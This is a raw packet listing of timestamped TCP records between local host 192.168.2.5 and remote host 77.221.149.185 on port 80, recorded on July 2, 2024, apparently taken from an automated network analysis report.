Jul 2, 2024 22:52:25.554389000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554399014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554411888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554413080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554423094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554433107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554439068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554441929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554445028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554451942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554461002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554471970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554471970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554480076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554490089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554502964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554517984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554536104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555299044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555310011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555320024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555330038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555337906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555340052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555350065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555350065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555360079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555368900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555376053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555378914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555388927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555403948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555413008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555422068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555425882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555432081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555442095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.555452108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.555486917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556236982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556246996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556256056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556266069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556276083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556284904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556292057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556294918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556303978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556313038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556313992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556318045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556329012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556338072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556338072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556345940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556355953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556355953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556365967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556375980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556375980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556385994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.556397915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.556415081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557163954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557174921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557184935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557194948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557204962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557214975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557214975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557224989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557234049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557239056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557244062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557255030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557260036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557265043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557272911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557275057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557285070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557293892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557305098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.557313919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557336092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.557346106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558140993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558156013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558165073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558173895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558182955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558191061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558201075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558201075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558212042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558212042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558221102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558229923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558238983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558240891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558248997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558259010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558259010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558268070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558275938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558278084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558294058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558305979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.558959007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558969021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558979034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558988094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.558995962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559005022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559006929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559015989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559027910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559030056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559036970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559042931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559046984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559056044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559058905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559066057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559075117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.559079885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559092999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.559113979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.585944891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.585958958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.585972071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.586000919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.586007118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.586014986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.586026907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.586035967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.586040974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.586087942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642132998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642148972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642159939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642194033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642251968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642263889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642275095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642287016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642303944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642328978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642494917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642513990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642532110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642539978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642543077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642554998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642569065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642569065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642592907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.642944098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642956972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642970085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642981052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.642992020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643006086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643028021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643054962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643198013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643209934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643220901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643243074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643264055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643285036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643296957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643306017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643317938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643327951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643331051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643338919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643348932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.643357992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.643368959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644032001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644042969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644052029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644066095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644076109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644076109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644085884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644098043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644102097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644108057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644109011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644119024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644129038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644139051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644149065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644154072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644160032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644169092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644179106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644195080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644917965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644927979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644938946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644948959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644958973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644963980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.644969940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644979954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644989967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.644989967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645000935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645011902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645020962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645021915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645031929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645032883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645040989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645051956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645070076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645097971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645531893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645600080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645679951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645690918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645697117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645705938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645720005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645730972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645740032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645740986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645750999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645761967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645771027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645776987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645787001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645792961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645796061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.645831108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.645854950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646414042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646425009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646444082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646461010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646470070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646473885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646481037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646490097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646500111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646501064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646509886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646516085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646519899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646528959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646539927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646542072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646549940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646559954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646560907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646569967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646579981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.646591902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.646620989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647269964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647283077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647294044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647303104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647314072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647324085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647325039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647335052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647345066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647361040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647366047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647377968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647388935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647398949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647403955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647409916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647419930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647427082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647430897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647439957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647449970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.647452116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647471905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.647500992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.648212910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.648226023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.648236036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.648246050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.648257971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.648308992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.681679964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681693077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681704044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681780100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.681797028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681808949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681821108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681833029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.681952000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.681952000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.681952000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.730792046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.730848074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.730858088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.730930090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731009960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731020927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731029987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731040001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731051922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731055975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731084108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731117964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731296062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731322050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731333017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731343031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731353998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731364012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731365919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731374025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731391907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731409073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731713057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731724024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731731892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731741905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731753111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731761932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.731764078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.731789112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732131004 CEST	80	49712	77.221.149.185	192.168.2.5
